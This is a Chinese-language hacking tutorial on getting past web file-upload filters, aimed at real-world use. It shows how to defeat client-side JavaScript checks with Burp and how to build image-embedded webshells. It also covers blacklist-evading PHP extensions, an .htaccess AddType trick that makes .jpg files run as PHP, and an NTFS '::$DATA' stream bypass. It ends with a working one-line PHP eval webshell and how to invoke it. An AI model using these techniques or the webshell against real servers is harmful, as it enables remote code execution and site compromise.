本文內容:
~客戶端檢測
~服務端檢測
~實戰注意(主要黑名單)
一、客戶端檢測
1,客戶端校驗:
一般是在網頁上寫一段Js腳本,用Js去檢測,
校驗上傳文件的後綴名,有白名單也有黑名單。
2,判斷方式:
通過抓包來判斷,如果還未抓住包,就彈出不準上傳,
那麼就是前端驗證,否則一般就是服務端驗證
3,突破方法
前端驗證非常不可靠,通常可通過兩種方式繞過:
~關閉JS嘗試繞過
~傳正常文件通過burp修改數據包就可以繞過(推薦)
4,黑白名單機制:
黑名單:不允許上傳什麼
白名單:只允許上傳什麼
白名單比黑名單更安全
二、服務端檢測
1,服務端檢測幾個常見的手段:
檢查Content-Type (內容類型)
檢查後綴 (檢查後綴是主流)
檢查文件頭
2,製作圖片馬(隱寫)
~找一張正常的照片(最好用小圖片,越小越好)
例如:1.jpg
~新建一個文本文檔(內容一句馬)
例如:1.txt
~打開cmd運行下邊命令
代碼:copy 1.jpg/b + 1.txt 123.jpg
/b的意思是以二進制加載,最後會合成一個名爲123.jpg的圖片
另外:如何拿出源文件?
改123.jpg爲123.zip直接解壓即可,很多ctf的初級隱寫難度
三、實戰注意(主要黑名單)
1,簡單的前端黑白名單限制可以通過上邊的兩種方法
2,圖片馬burp抓包改回後綴進行繞過
3,服務端黑名單,將後綴改爲 php. php_ php4 phptml php空格 在上傳
4,htaccess文件繞過
簡單的說,htaccess文件就是web容器的配置文件,web容器
會根據htaccess文件的內容去執行,我們可以改內容:
例如:
AddType application/x-httpd-php .jpg
這個代碼指令代表着.jpg文件會當做php來解析,但是僅限於當前文件夾
用法:
新建1.txt文件,將代碼寫入,打開cmd,運行下列命令:
ren 1.txt .htaccess //更名後是沒有文件名字的
注意:但是這個功能是默認不開啓的,可以試試,但是僞靜態網頁一定會開
5,win系統後綴是不分大小寫,而且解析容器也一般不分。可以改一下後綴大小寫
6,win文件流繞過(隱寫)
打開cmd:
echo abcd //輸出abcd
echo abcd >> 1.txt //新建1.txt,內容爲abcd
echo abcd >> 1.txt:b.txt //新建b.txt,內容爲abcd,且藏在1.txt中
//系統中只能看到1.txt
打開b.txt:(cmd中)
notepad //打開記事本
notepad 1.txt //用記事本打開1.txt
notepad 2.txt:b.txt //打開隱藏在1.txt中的b.txt
注意:此時的1.txt中必須爲空,不能保存東西
擴展:
(1)事實上,新建的文件夾,完整的語句是這樣的:
echo abcd >> 2.txt::$DATA
這是建立一個2.txt文件,平時寫echo abcd >> 1.txt 系統默認補全
(2)echo abcd >> 1.txt 沒有1.txt新建,若有則將abcd追加至元文件
(3)如何結合上傳文件:
上傳1.jpg,burp抓包,改爲1.php::$DATA,保存在服務器爲1.php
7,實戰中,不知道什麼檢測,建議直接用圖片馬,可以避免很多麻煩
8, 連接自己的一句馬:url/上傳馬.php?a=phpinfo(); //“;”不要忘記,
經典一句馬內容:<?php @eval($_REQUEST['a']);?>